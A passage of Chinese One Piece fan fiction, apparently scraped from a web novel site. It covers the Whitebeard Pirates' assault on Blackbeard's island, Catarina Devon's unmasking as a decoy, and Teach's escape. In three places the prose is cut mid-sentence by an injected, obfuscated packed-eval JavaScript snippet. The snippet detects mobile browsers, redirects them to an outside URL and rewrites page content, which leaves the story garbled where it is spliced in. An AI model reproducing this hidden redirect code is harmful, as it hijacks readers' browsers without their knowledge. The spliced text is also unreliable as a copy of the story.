船舱内恢复了寂静,只剩下油灯摇曳,和桌上那颗散发着不祥光芒的胶囊。 卡特琳娜·戴彭独自坐在光影交界处,目光久久地凝固在那颗胶囊上,然后又移向黑胡子消失的、空荡的门口。刚才那番话如同最猛烈的风暴,在她心中掀起了滔天巨浪——被理解的颤栗、被赋予“艺术”与“使命”的虚荣、对“千面之神”终极姿态的炙热渴望……种种情绪交织翻腾。 良久,她缓缓地伸出手,指尖带着一丝不易察觉的颤抖,握住了那颗冰凉的胶囊。紧紧的,仿佛握住了通往某个扭曲辉煌未来的钥匙。 千面之神…… 神…… 她低声重复着这两个词,眼中最初的那些警惕和理智,渐渐被一种混合了狂热、野心与对“同类”许诺的孤注一掷所取代。昏暗的光线下,她的嘴角,慢慢勾起一个弧度奇异的、近乎梦幻的微笑。 122.了断之战 朝阳初升,将海面染成一片流动的黄金。光线斜斜切过浪尖,晕开层层叠叠的橘红色光影,把温暖与不安一同泼洒在这片即将成为战场的水域。 “艾斯,情况怎么样了?” 马尔科的声音伴随着羽翼破空之声一同抵达。他收拢青蓝色的火焰羽翼,稳稳落在炎雀号的甲板上。他落地的姿势轻盈,尾羽拖曳出的流光却在空气中残留了数秒才缓缓消散。 莫比迪克号还在远处海平线上,只是一个模糊的轮廓,马尔科却等不及了。 接到小狸电话的那一刻,他正在医疗室调配药剂。听筒里传来那孩子语气轻松的报告时,他的心却是猛的一紧,那个永远学不会“等待支援”的热血笨蛋千万别又冲上去,直到炎雀号那熟悉的轮廓出现在视野里,他悬着的心才重重落下。 艾斯站在船头,逆着晨光。帽子压得很低,阴影遮住了上半张脸,只露出紧抿的唇线。他双手插在裤袋里,看似轻松的姿态下,肩膀的线条却绷得像拉满的弓弦。 “马尔科。”艾斯的声音有些沙哑,像是彻夜未眠,“你来得比预期快。” “不快不行。”马尔科抬手推了推眼镜,镜片后的眼睛锐利地扫过艾斯全身,像在检查他是否完好,“再慢点,我怕你又冲进敌营,把‘等老爹和兄弟们来’的承诺忘得一干二净。” 艾斯喉结滚动了一下,自觉理亏,没有反驳。 “马尔科先生!你到了啊!” 欢快的声音从上方传来。小狸从高高的主桅瞭望台上轻盈跃下,黑色猫耳在晨风中机敏地转动着。她没有直接落地,而是在空中灵巧地翻了个身,最后足尖轻点甲板,几乎没发出声响。她小跑着凑到两人身边,尾巴在身后快活地摇晃,划出柔软的弧线。 马尔科自然而然地伸手揉了揉她的头顶。小狸立刻眯起眼睛,喉咙里发出细微的呼噜声,甚至无意识地用发顶蹭了蹭马尔科的掌心。这个依赖的小动作让马尔科紧绷的嘴角柔和了一瞬。 “辛苦了,小狸。” “不辛苦!”小狸挺直背脊,努力让自己看起来可靠些。但她眼下淡淡的青黑和微微泛红的眼角出卖了她。她也一夜未眠。“我做了侦查,现在汇报情况。” “我在瞭望塔蹲了整整一天。”她的语速很快,像怕忘记任何一个细节,“岛上人员分布不密集。”她继续说,指尖在手绘的粗糙地图上的几个区域划过,“主要活动集中在中央堡垒和东侧的小港口。西边这个湾,看起来是天然形成的隐蔽点,我让海鸥飞低看过,岸边有新鲜的拖痕——可能有小船停靠过。” “但让海鸟去认人太难了。”她皱起鼻子,露出一点困扰的神情,“我描述了半天‘黑色卷发、缺牙、很胖’,它们歪着头看我,然后开始讨论哪片海域的鱼群更肥美。” 艾斯差点笑出声,又强行忍住。马尔科镜片后的眼睛也弯了弯。 “最后还是用了丢斯当年画的那张画像。”小狸从海图下抽出另一张“海鸥飞了一圈回来确认:画像上的人,确实在中央堡垒的最高层窗户里出现过。至少昨天下午还在。” 她抬起头,猫耳警惕地竖起:“但是很奇怪。这个距离,虽然炎雀号没有扬帆,一直保持在他们的瞭望范围边缘……可我觉得以蒂奇的谨慎,不可能没注意到我们。但岛上一点反应都没有。没有派出侦察船,没有加强巡逻,堡垒上的旗帜甚至都没多挂一面。” 她顿了顿,尾巴不安地拍打着艾斯的腕骨:“昨天九点左右,有一艘小的补给艇从东面港口离开。我让海鸥跟了一路——上面五个人,都不是蒂奇。四个小时后又返回,载满了物资,看起来就是常规的每周补给。一切……正常得诡异。” 马尔科扶了扶眼镜“你的直觉是对的,小狸。”他缓缓开口,声音低沉,“蒂奇不可能没察觉。这种‘正常’,恰恰是最大的不正常。他在等什么?或者……他在准备什么?有兄弟在莫比迪克航线附近,目击到了拉菲特。” 艾斯的瞳孔骤然收缩。搭在小狸颈后的手指无意识地收紧了一瞬。 “五队队长,‘魔鬼警长’拉菲特。”马尔科继续说,语气冷了下来,“他显然在监视我们的动向。被巡逻船发现后,立刻利用果实能力飞走了。莫比迪克当时正在全速前进,无暇分兵追他。” “但这就意味着——”艾斯接话,声音里压着怒火的暗流,“蒂奇知道老爹带着全团来了。他知道这是一场总力战。” “而他选择了留在岛上。”马尔科接过话头,眼镜后的目光锐利如刀,“要么,他有绝对的自信能击退我们。要么……” “他在拖延时间。”小狸轻声说,尾巴紧紧缠住艾斯的手腕,“他在等什么时机?还是说……他在掩盖别的行动?” 三人同时陷入沉默。晨光在海面上推移,橘红渐次染上更明亮的金色。海风带来咸腥的气息,也带来远方隐约的、属于战争将至的紧绷感。 “怎么办?马尔科先生,我们要攻岛么?”小狸仰起脸,蓝色的眼睛里映着晨光,也映着清晰的担忧。 马尔科和艾斯对视一眼。那一瞬间,空气中仿佛有无形的电流窜过。马尔科身上那种平日里慵懒的、仿佛永远睡不醒的气质彻底褪去,取而代之的是一种久经战阵的凌厉。他站直身体,衬衫的下摆在风中猎猎作响,竟有了几分披风的肃杀感。 “等。”马尔科说,声音不大,却斩钉截铁,“等莫比迪克号抵达。等老爹坐镇。” 他转头望向海平线上那个越来越清晰的巨大轮廓,嘴角勾起一个冰冷而坚定的弧度。 “然后,我们就和蒂奇——好好做个了断。” --- 莫比迪克号抵达后,整片海域的气压都仿佛降低了。 那艘如同移动要塞般的巨船本身就如同一座劈波斩浪的山岳,带着一往无前的气势。船帆那标志性的白胡子标志在阳光下鼓满了风,猎猎作响。 白胡子爱德华·纽盖特屹立在船头。 他没有披那件标志性的船长斗篷,光着上身,肌肉贲张的手臂裸露在外,每一道旧伤疤都诉说着传奇。他单手拄着丛云切,刀柄轻点甲板,沉重的武器在他手中仿佛没有重量。但他仅仅是站在那里,那双眼睛扫过海岸线时,所有隐藏在工事后的黑胡子麾下海贼,都不由自主地感到一阵心悸,那是“世界最强的男人”的凝视 “咕啦啦啦……”低沉的笑声从白胡子胸腔里滚出,竟压过了海浪与风声,“小的们,都等急了吧?” “早就等不及了,老爹!” “让叛徒尝尝我们的厉害!” “艾斯队长!我们来了!” 甲板上爆发出震天的欢呼与怒吼。每一个船员,从番队长到最年轻的见习水手,眼中都燃烧着熊熊战意。这不是恐惧驱使的厮杀,而是复仇,是清理门户的决绝,是捍卫“白胡子”之名荣耀的战争。 黑胡子海岸防线上的指挥官,一个脸上带疤、曾是某小海贼团团长,当时推进城事件和黑胡子一起跑出来的男人在望远镜里看到这一幕时,手抖得几乎拿不稳镜筒。 “开、开火!”他嘶声下令,声音因过度紧张而尖利变调,“别让他们靠近!开火——!” 命令被扭曲着传递下去。海岸线上,数十门提前架设好的岸防炮同时发出怒吼!炮口喷吐出炽热的火舌,黑压压的炮弹撕裂空气,划出无数道致命的抛物线,朝着莫比迪克号庞大的船体倾泻而下! 那一瞬间,时间仿佛被拉长了。 炮弹飞行的轨迹,炮口弥漫的硝烟,海面上炸开的水柱,甲板上船员们脸上愤怒而非恐惧的表情——全都像一幅被慢放的画卷。 然后,画卷被一道璀璨的剑光斩破。 “乱舞!” 比斯塔高高跃起,凭借强大的腿部力量和恰到好处的时机,跃至炮弹袭来的路径前方。那两柄装饰华丽却饮血无数的双剑在他手中化作两团绚烂的光轮,竟然是直接将那炮弹尽数斩碎。 剑刃与铸铁炮弹接触的刹那,刺耳的金属撕裂声爆响,炮弹被精准地从中剖开,火药在半空中燃爆,化作一团团较小的火球与破片,无力地坠入海中。比斯塔的身影在爆炸的火光与四溅的碎片中穿梭、旋转,剑光织成密不透风的网,所有射向主船的炮弹竟无一漏网! 他落回甲板时,甚至没有踉跄一步。双剑挽了个漂亮的剑花,收入鞘中,发出清脆的“咔嗒”声。他捋了捋精心打理的小胡子,对周围投来的目光报以潇洒的微笑。 “喂喂,比斯塔队长,不要一个人把风头全抢了啊!” “就是就是,我们也手痒得很!” 甲板上的气氛甚至更热烈了,仿佛刚才那波炮击只是一场开幕表演。 白胡子大笑起来:“咕啦啦啦!” 他的笑声如洪钟,瞬间冲散了战场最后一丝压抑。 随即,他笑容一敛,丛云切重重顿在甲板上! “进攻——!” 马尔科作为实际指挥者,手臂高高举起,然后猛地挥下! 莫比迪克号侧舷的炮窗齐齐打开,黑洞洞的炮口伸出。下一刻,比岸防炮更加密集、更加整齐、更加震耳欲聋的轰鸣响起!白胡子海贼团的炮击,是经历过无数次海战锤炼的、近乎艺术的齐射。炮弹落点精准覆盖了岸防炮阵地,爆炸的火光与烟尘瞬间吞噬了海岸线! 而真正的攻击,在水下。 几乎在炮击开始的同一秒,那谬尔率领的鱼人小队已悄无声息地潜入海中。他们速度快得惊人,绕过正面战场,从侧翼的礁石区悄然登陆。当岸上的守军还在手忙脚乱地应对炮击、抢救火炮时,鱼人们已从他们背后杀出! 尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没有鲜血喷溅。武装色包裹的利爪切开了皮肉与肋骨,精准地破坏了内脏,却避开了主要血管。那海贼双眼圆瞪,捂着伤口缓缓跪倒,连惨叫都发不出。 小狸看都没看他一眼,脚步不停,继续向前穿插。她的目标很明确:中央堡垒。那个站在堡垒最高处、身披黑色大衣、头戴船长帽、正张开双臂、用粗哑嗓音嘶吼着鼓舞士气的身影 黑胡子。马歇尔·蒂奇。 找到了。 她的心脏在胸腔里重重跳了一下,血液冲上耳膜。就是那个人。那个害艾斯差点死去、让老爹震怒、令整个白胡子海贼团蒙羞的叛徒、那个罪魁祸首。 他就在那里,在阳光下,在城墙上,如此显眼,如此……嚣张。 小狸的指甲深深掐进掌心。愤怒在血管里奔流,但另一种情绪同时升起:不对劲。 为什么这么显眼?蒂奇是阴险的毒蛇,怎么会如此热衷于站在聚光灯下鼓舞士气了? 她甩甩头,压下疑虑。也许是因为他自觉胜券在握?也许是因为他想在手下面前展示“提督”的威严? 战斗迅速进入白热化。黑胡子旗下的海贼们,虽然大多是从推进城带出来的囚犯,实力参差不齐,但在“提督”亲自督战、以及“与白胡子海贼团决一死战”口号的鼓动下,居然爆发出了一股亡命徒般的狠劲。他们依托提前构筑的简易工事和熟悉的地形,用燧发枪、弓箭、捕网、甚至□□,拼命阻击着白团的推进。 白胡子海贼团的登陆部队虽然精锐,但在狭窄的地形和密集的阻击下,推进速度不可避免地慢了下来。每前进一米,都要付出些许代价——可能是一个轻伤,可能是一点体力,也可能是短暂的时间。 而这短暂的迟滞,恰好为某些更隐蔽的行动提供了完美的烟雾。 小狸在混战中不断靠近堡垒。她像一道黑色的影子,在枪林弹雨中穿梭,偶尔用火焰逼退围上来的敌人,更多时候依靠速度与灵活避开攻击。她的眼睛始终锁定着城墙上的“黑胡子”。 距离拉近到百米以内时,她看得更清楚了。 那个“黑胡子”正挥舞着手臂,唾沫横飞地喊着什么。他的站姿,他的手势,他咧嘴大笑时露出的缺牙……一切都符合。 但小狸的猫耳捕捉到了一个细微的声音——那不是蒂奇粗哑的嗓音,而是一种更尖利、更紧绷的音节,仿佛有人在刻意模仿,却无法完全复制胸腔的共鸣。 而且,他的眼神。 当小狸的目光与“他”隔空碰撞的瞬间,她看到那双眼睛里没有蒂奇特有的、混合着贪婪、狡诈与疯狂的幽光,反而是一种近乎表演的、浮于表面的凶狠,深处却藏着一丝……戏谑? 不对……绝对有什么不对! 123.金蝉脱壳 白胡子爱德华·纽盖特站立在莫比迪克号的船首时,整片海域的光线都仿佛向他躬身致意。 那不是比喻。 这位身高六米有余的巨人再次将丛云切的刀柄底端轻轻顿在甲板上,发出一声“咚”的闷响。不重,却奇异地传入战场上每一个人的耳膜。 他仅仅是站在那里,距离海岸线尚有近百米,但岸上所有黑胡子麾下的海贼——无论是躲在混凝土工事后装填炮弹的炮手,还是握着燧发枪手指颤抖的狙击手,或是挥舞着刀剑的先锋军,都在那一瞬间感到了一阵没来由的心悸。 就像蚂蚁仰望人类抬起的靴底,像飞蛾扑向焚身的火焰,像水滴妄图撼动礁石。 一个躲在西侧礁石掩体后的年轻海贼,原本正咬着牙给火枪装填火药。当白胡子的身影映入眼帘时,他的手猛地一颤,铅弹和火药撒了一地。他茫然地抬头,看着远处船头上那个如神祇又如恶魔的巨影,忽然想起童年时听过的传说:在新世界的尽头,有一个男人能够撕裂天空与大海。 他当时以为那只是故事。 现在他终于知道,故事是真的。而自己正站在故事的反面。 “那个老头子……” 在岛屿中央堡垒的地下密室中,真正的蒂奇正通过一面镶嵌在石墙上的监视电话虫观察着海面上的动静。 当白胡子的身影出现在屏幕上时,蒂奇肥厚的脖颈后,瞬间沁出了一层粘腻的冷汗。 他放在桌面上的右手无意识地收紧,指甲抠进了坚硬的木桌板,留下五道深深的白痕。他的呼吸变得粗重,胸腔里那颗向来被野心和贪婪填满的心脏,此刻正以异常的频率跳跃着。 “怎么感觉……”他喃喃自语,声音干涩得像是砂纸摩擦,“他比顶上战争时还要……” 还要什么? 还要高大?还要威严?还要……对得上“世上最强的男人”的名声? 蒂奇说不清楚。但那种扑面而来的压迫感是实实在在的。即便隔着屏幕他仍然能感觉到那股气息,那是历经无数生死、背负整个家族、立于世界顶点数十年所积淀出的“存在感”。 在马林梵多时,白胡子是重伤之躯,是带着必死觉悟前来拯救儿子的悲壮英雄。他的强大中带着一丝夕阳般的暮色。 而现在屏幕上的白胡子…… 蒂奇死死盯着画面。老人站在船头,海风吹动他的头巾和唇上那弯标志性的白色月牙胡。他的眼神平静地扫过海岸线,就像在看自家后院里的杂草。那眼神里没有愤怒,没有焦急,甚至没有“清理门户”时应有的肃杀,只有一种近乎漠然的、理所当然的平静。 这种平静,比任何怒吼都让蒂奇毛骨悚然。 因为他突然意识到一件事:在顶上战争,白胡子是“赴死”。而现在,白胡子只是回到那个他统治了数十年的、名为“新世界”的后花园,来处理一点小小的家务事。 “该死……”蒂奇低咒一声,额角的青筋突突跳动。他心底最后一丝侥幸,那个“或许可以趁乱偷袭”、“或许可以抓住艾斯要挟”、“或许可以借机夺取震震果实”的想法瞬间蒸发得干干净净。 他猛地转身,动作因为急促而显得有些笨拙,撞翻了身后的木椅。椅子倒地发出“哐当”巨响,在寂静的密室里格外刺耳。 密室里还有另外三人。 病痨鬼般的毒Q蜷缩在角落的阴影里,发出断断续续的、仿佛随时会咳断气的喘息。范·奥卡靠在门边,一手端着那柄名为“千陆”的长枪,另一只手正用一块绒布缓慢而精准地擦拭着狙击镜片,表情如大理石般冷漠。巴沙斯则双手抱胸,粗壮的手臂肌肉贲张,脸上带着跃跃欲试的狞笑,似乎对即将到来的大战充满期待。 “船长?”巴沙斯见蒂奇突然动作,咧嘴笑道,“要出击了吗?老子已经等不及要拧下白胡子那些队长的脑袋了!威哈哈哈!” 蒂奇看都没看他,径直走向密室另一侧的一扇暗门。他的步伐很快,肥硕的身躯竟显出几分与他体型不符的敏捷。 “计划变更。”他声音低沉,带着不容置疑的决断,“立刻从西侧小港撤离。” 密室里的空气凝固了一瞬。 毒Q的咳嗽停了。范·奥卡擦拭镜片的动作顿住。巴沙斯脸上的笑容僵住,变成了错愕。 “撤、撤离?!”巴沙斯瞪大眼睛,“船长,我们不是要和那些老家伙决一死战吗?我们准备了这么久,布置了这么多陷阱,还有戴彭她——” “闭嘴!”蒂奇猛地扭头,眼中闪过一道骇人的凶光。那一瞬间泄露出的杀气,让巴沙斯这个天不怕地不怕的莽汉都下意识地后退了半步。“你想死,就留在这里!老子可不想陪葬!” 他深吸一口气,强迫自己冷静下来,但声音里仍残留着未散的惊悸:“你们没感觉到吗?那个老头子哪有半点负伤的样子!?” 他用力挥了挥手,仿佛要驱散脑海中白胡子那双平静的眼睛。 “戴彭的伪装能骗过艾斯,甚至可能骗过马尔科一会儿,但绝对骗不过那个老头子!只要他登岛,我们的把戏瞬间就会被看穿!”蒂奇的语速越来越快,像是在说服自己,也像是在说服部下,“到时候我们就会被堵死在这个岛上,面对整个白胡子海贼团的怒火!没有胜算!一丝一毫都没有!” 毒Q发出一声虚弱的叹息:“嚯嚯嚯……提督说得对……那个怪物……还活着,就是最大的变数……” 范·奥卡沉默地将绒布收好,将“千陆”背回身后,动作一丝不乱:“西侧小港的快艇已准备就绪,燃料充足,足够我们脱离这片海域,抵达第17号汇合点。” 巴沙斯不甘地握紧拳头,指骨发出咯咯声响,但最终没有反驳。他虽然不聪明,但完全信任着他的船长。 蒂奇不再多言,一把推开暗门。门后是一条向下延伸的狭窄石阶,潮湿的霉味扑面而来。他率先钻了进去,肥硕的身躯几乎填满了整个通道。 “动作快!在戴彭暴露之前,我们离得越远越好!” --- 就在整个海岸防线陷入混乱与火光之际,岛屿西侧,那个被小狸注意到的隐蔽小湾里,水面无声地荡开一圈涟漪。 一艘深灰色涂装、没有任何标志的小船从岩缝中滑出。它的引擎经过特殊改装,启动时只有低沉的嗡鸣,被岸上的炮火声完美掩盖。船体线条流畅低矮,吃水很浅,显然是追求极致速度的型号。 船上没有升起任何旗帜,甚至甲板上也看不到人影,所有人都待在低矮的驾驶舱内。它就像一道灰色的幽灵,贴着海面,以惊人的加速度朝远离岛屿的方向疾驰而去,只在身后留下一道迅速消散的白色尾迹。 “马尔科先生!有船离开了,要追么?” 小狸的声音带着明显的焦急,甚至有一丝尖锐。她正站在一处被艾斯的火拳轰塌的混凝土废墟顶端,黑色的猫耳笔直竖起,高速转动着,捕捉着空气中每一个细微的声响与气流变化。她的尾巴不再悠闲摇晃,而是紧绷如弓弦,尾尖炸开。 她的目光死死盯着西侧海面。在那里,一个几乎微不可查的小黑点,正在蔚蓝的海面上迅速远去。 马尔科拍打着青炎羽翼,悬停在她身旁不远处的高空。他自然也注意到了那艘离去的快艇,但他没有立刻下令追击。 因为他的大部分注意力,被另一个更显眼的目标吸引了——那个站在中央堡垒最高处,正挥舞手臂、声嘶力竭地鼓舞士气的“黑胡子”。 马尔科的眉头不易察觉地皱起。 从战术上讲,放任那艘小船离开是有风险的。它可能是去求援,可能是去传递消息,也可能是运送重要物资或人员。但此刻白胡子海贼团的首要目标,毫无疑问是黑胡子本人。只要擒获或击杀蒂奇,黑胡子海贼团便会树倒猢狲散,那些逃走的虾兵蟹将不足为惧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146053|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且…… 马尔科的目光扫过战场。白团的推进虽然迅猛,但黑胡子麾下的海贼们依托工事和地形的抵抗,比预想的要顽强一些。战斗已经拖入了短兵相接的混战阶段。如果此时分兵去追一艘不明去向的小船,可能会打乱进攻节奏,甚至给正面战场带来不必要的变数。 “先不用管他。” 艾斯的声音从旁边传来。他不知何时也跃上了这片废墟,就站在小狸身侧。他的眼睛同样盯着西侧海面,但眼神里没有丝毫动摇,只有一种近乎凝固的专注,全部投向堡垒上的那个身影。 “我们的首要目标是黑胡子。” 艾斯重复道“先抓住他。其他的,之后再说。” 小狸转头看向艾斯。晨光映着他线条紧绷的侧脸,汗水混着灰尘沿着下颌线滑落,滴在烧焦的衣领上。他的呼吸略显急促,胸膛起伏着。她能感觉到他身体里沸腾的火焰,也能感觉到那火焰深处,压抑了两年、此刻即将喷薄而出的巨大情感——仇恨、愤怒、自责、以及必须亲手终结这一切的执念。 她张了张嘴,想说什么。想提醒他那艘船离开的时机太巧,想说出自己心中那股隐隐的不安,想告诉他“黑胡子”站在城墙上的姿态有多么……奇怪 但当她看到艾斯眼中那簇燃烧的、几乎要将他自己也焚尽的火焰时,所有的话都堵在了喉咙里。 她最终只是点了点头,尾巴缠上艾斯的手腕,轻轻蹭了蹭。 “嗯。”她轻声说,“先抓住他。” 马尔科在空中深深看了艾斯一眼,又看了看那艘即将消失在海平线的小黑点,最终做出了决断。 “继续进攻!目标中央堡垒!拿下蒂奇!” 命令通过吼声和手势传递下去。白团的攻势更加猛烈。 然而,随着战斗的持续,马尔科心中的违和感越来越重。 他翱翔在空中,青炎羽翼舒展,视野覆盖整个战场。见闻色霸气如同精细的雷达,扫描着战场上的每一个角落,每一股强大的气息。 巴沙斯,那个喜欢狂笑、用蛮力摧毁一切的莽夫,黑胡子最信任的手下在哪里? 范·奥卡,那个冷静致命的狙击手,他的枪口此刻应该正瞄准着白团的队长或重要战力,但马尔科没有感觉到任何被锁定的危机感。 毒Q,那个病恹恹却一身是毒的麻烦家伙,他的瘟疫马和诡异病毒,本应是最适合这种混乱战场的武器。 雨之希留、恶政王皮萨罗、若月猎人卡特琳娜·戴彭…… 这些在黑胡子海贼团中叫得上名号、实力足以担任船长的干部,一个都没有出现在正面战场! 而“黑胡子”本人—— 马尔科的目光锐利如鹰,聚焦在城墙上的那个身影上。 他只是在喊,不停地喊。用那粗哑的嗓音吼着空洞的鼓舞口号,挥舞着手臂,却始终没有踏下城墙一步,没有亲自出手对付任何一个冲近的白团成员。甚至当乔兹用钻石身躯撞塌了一段城墙,烟尘弥漫到他脚下时,他也只是后退了几步,换了个位置继续喊。 这太反常了。 马尔科自认为了解蒂奇,可是,他真的完全了解那个在船上潜伏的叛徒么? 不管怎么说,马尔科认识他快二十年了,蒂奇阴险、狡诈、隐忍,但同时,他也贪婪、自负、渴望力量与认可。在这样决定生死存亡的战斗中,在面对白胡子海贼团这样强大的敌人时,以蒂奇的性格,他绝不可能站在台前,当一个“鼓舞者”。 除非—— 马尔科的瞳孔骤然收缩。 除非,那个在城墙上大喊大叫的“黑胡子”,根本就不是蒂奇本人! 马尔科猛地转向堡垒方向,青炎羽翼爆发出前所未有的速度! “艾斯!小心有诈——!!” 但他的警告,似乎已经迟了半步,因为艾斯已经冲到了堡垒之下,发出愤怒的呼喊 “蒂奇——!!!” 124.败露 那一声怒吼,仿佛积蓄了七百多个日夜的痛苦、愤怒与不甘。艾斯全身的火焰轰然升腾,死死盯住城墙上的身影。那双总是盛满笑意或暖意的黑眼睛里,此刻只剩下冰冷的杀意。 他的脚下火焰喷射,整个人像是被投石机掷出的□□,冲天而起!右拳紧握,炽白的火焰缠绕其上,压缩、再压缩,周围的空气被抽干,光线被扭曲,那一拳仿佛握着一颗即将爆炸的小型太阳! “给我,下来——!!” 拳头狠狠砸向“黑胡子”! “黑胡子”似乎早有准备。他咧嘴,发出那标志性的、却总让小狸感到一丝异样的笑声:“贼哈哈哈……艾斯队长,这么急着来送死吗?” 他似乎是把什么送进了嘴里,随后伸出右手,掌心向上。浓郁的、仿佛能吞噬一切光线的黑暗从掌心涌出,迅速扩散,化作一面旋转的黑暗盾牌,迎向艾斯的火焰重拳! 轰——!!! 黑暗与烈焰的碰撞! 没有惊天动地的爆炸,而是更诡异的景象:艾斯拳上的炽白火焰在接触黑暗盾牌的瞬间,如同被无形大口吞噬,光芒迅速黯淡、缩小。黑暗蠕动着,贪婪地吸收着火焰的能量,发出“滋滋”的、仿佛冷水浇在烙铁上的声响。 但艾斯的力量并未被完全抵消。剩余的冲击力传递过去,让“黑胡子”闷哼一声,向后踉跄了两步,城墙被撞碎了一片。 “贼哈哈哈……不愧是艾斯队长,火力还是这么猛。” “黑胡子”稳住身形,甩了甩有些发麻的手臂,黑暗重新收拢回掌心,“但是,在暗暗果实面前,一切能力都是无效的!” 他主动出击,右手缠绕黑暗,如同一条黑色的巨蟒,抓向艾斯的脖颈! 艾斯侧身闪避,黑暗擦过他的脸颊,带走了一缕发丝,发梢瞬间焦黑、碳化。他眼神更冷,火焰不再是大开大合的喷射,而是化作点点萤火,从刁钻的角度袭向对手,再靠近后炸开带来一连串爆鸣 “黑胡子”左右支绌,不断用黑暗化解攻击。黑暗确实能吸收能量,但每一次吸收都需要时间,都需要消耗体力,伴随而来的,还有难以忍耐的剧痛。艾斯的攻击如疾风骤雨,绿色的萤火刚被吞噬,新的又已生成。他渐渐显得吃力,动作不再流畅。 不对。 艾斯心中的违和感越来越强。 蒂奇的体术,他是领教过的。蒂奇还在船上时就曾以强悍的肉身力量和格斗技巧在船上小有名气。他擅长近身缠斗,拳头沉重,步伐扎实,即使没有果实,也是个难缠的对手。 但眼前这个“蒂奇”,太依赖恶魔果实的能力了。每一次化解攻击,都是用黑暗硬吞,缺少那种本能般的闪避、格挡、反击的组合。他的步伐有些虚浮,发力方式也不对——蒂奇出拳时,腰腹核心会先发力,带动全身,拳头快的像炮弹;而这个“蒂奇”,更多是用手臂的力量,肩膀的转动很僵硬。 而且,他的“黑暗”,似乎也比记忆中在巴纳罗岛对战时弱了一些。吞噬火焰的速度不够快,范围不够大,那种仿佛连光线都能吸入的深邃感都大打了折扣。 艾斯眼中寒光一闪。他故意卖了个破绽,火焰攻势稍缓,露出胸前空挡。 “黑胡子”果然上钩,眼中闪过一丝喜色,右臂缠绕黑暗,直掏艾斯心口! 就是现在! 艾斯不闪不避,反而迎了上去!在黑暗即将触及胸口的瞬间,他左手如电般探出,并非攻击,而是虚晃一招,右手并指如刀,炽白的火焰压缩到极致,重重轰在蒂奇左肩 “黑胡子”猝不及防,下意识想用黑暗格挡,但艾斯的攻击角度太刁钻,黑暗只来得及覆盖手臂外侧。力量极速流逝,药物的副作用开始使身体透支 几乎同时,艾斯也注意到火焰灼烧的痕迹周围,皮肤的颜色……正在轻微地、不自然地波动、扭曲,仿佛一层伪装正在松动。 艾斯的瞳孔骤然缩成针尖! 所有的疑点在此刻串联:反常的现身、浮于表面的表演、依赖果实而薄弱的体术、稍弱的黑暗之力…… “你不是蒂奇!!!” 怒吼声如同炸雷,从艾斯胸腔最深处爆发!那声音里不仅有被愚弄的狂怒,还有发现目标可能再次逃脱的惊惧 他全身的火焰轰然爆发,这一次不再是攻击,而是极致的能量释放!炽白的火焰冲天而起,温度急剧攀升,空气被炙烤得发出悲鸣,光线彻底扭曲。以艾斯为中心,半径十米内的城墙砖石开始发红、软化、熔解…… 恐怖的热浪席卷开来,连下方混战的海贼们都感到皮肤灼痛,骇然退避 而在那爆炸性的火焰与气浪中心,“黑胡子”发出一声尖利的惊叫。他……不,她的身形在高温与冲击下剧烈扭曲、模糊,像一块被投入火中的蜡像,表面的伪装迅速熔化、剥落 黑色的卷发褪去,露出原本的黑色长发。粗壮的身形收缩,变得凹凸有致。缺牙的大嘴消失,取而代之的是一张画着浓妆、嘴唇涂得猩红、鼻子奇长的女人面孔。 而那件标志性的黑色大衣也变成了精致的束脚裤和英伦衬衫,领口大开露出里面紧身的皮甲,还有身后那一团毛茸茸的、粗大的、黄白相间的狐狸尾巴 幻兽种·犬犬果实·九尾狐形态能力者! “卡特琳娜·戴彭!!!” 马尔科认出了她,声音里充满了震惊与暴怒。他俯冲而下,青炎羽翼在身后拉出愤怒的流光,“怎么会是你!黑胡子在哪里?!蒂奇躲到哪里去了?!” 卡特琳娜·戴彭抬起头,对着疾冲而来的马尔科,露出了一个混合着戏谑、得意与一丝疯狂的笑容。 “贼哈哈哈……”她的笑声模仿着蒂奇,却带着女性特有的尖利,“被发现了呀,不死鸟。” 她舔了舔猩红的嘴唇,眼中闪过狡黠的光,她随手拍灭袖口上残留的一点火星,姿态竟然带着几分悠闲:“至于提督嘛……已经去取白胡子那个老头的首级了!” 艾斯的呼吸骤然停止。 整个世界的声音,仿佛在这一瞬间被抽空了。 --- 与此同时,数十海里之外。 一艘不起眼的、经过特殊改装的小船正以惊人的速度切开海面,驶向开阔无垠的外海。船体涂着不起眼的深灰色,没有悬挂任何旗帜,引擎声被巧妙地压抑,只在船尾拖出一道白色的、迅速消散的尾迹。 马歇尔·蒂奇站在狭窄的船头,双手叉腰,回头望去。 登天之岛早已消失在视野尽头,只剩下一片蔚蓝的海平线。但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150149|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛还能看到那里升腾的硝烟,听到隐约的炮火轰鸣,感受到白胡子那即便相隔甚远也令他心悸的霸气。 然后,他咧开了嘴,缺牙的缝隙里爆发出压抑已久的、志得意满的狂笑: “贼哈哈哈——!!!” 笑声在空旷的海面上传得很远,惊起了几只盘旋的海鸟。 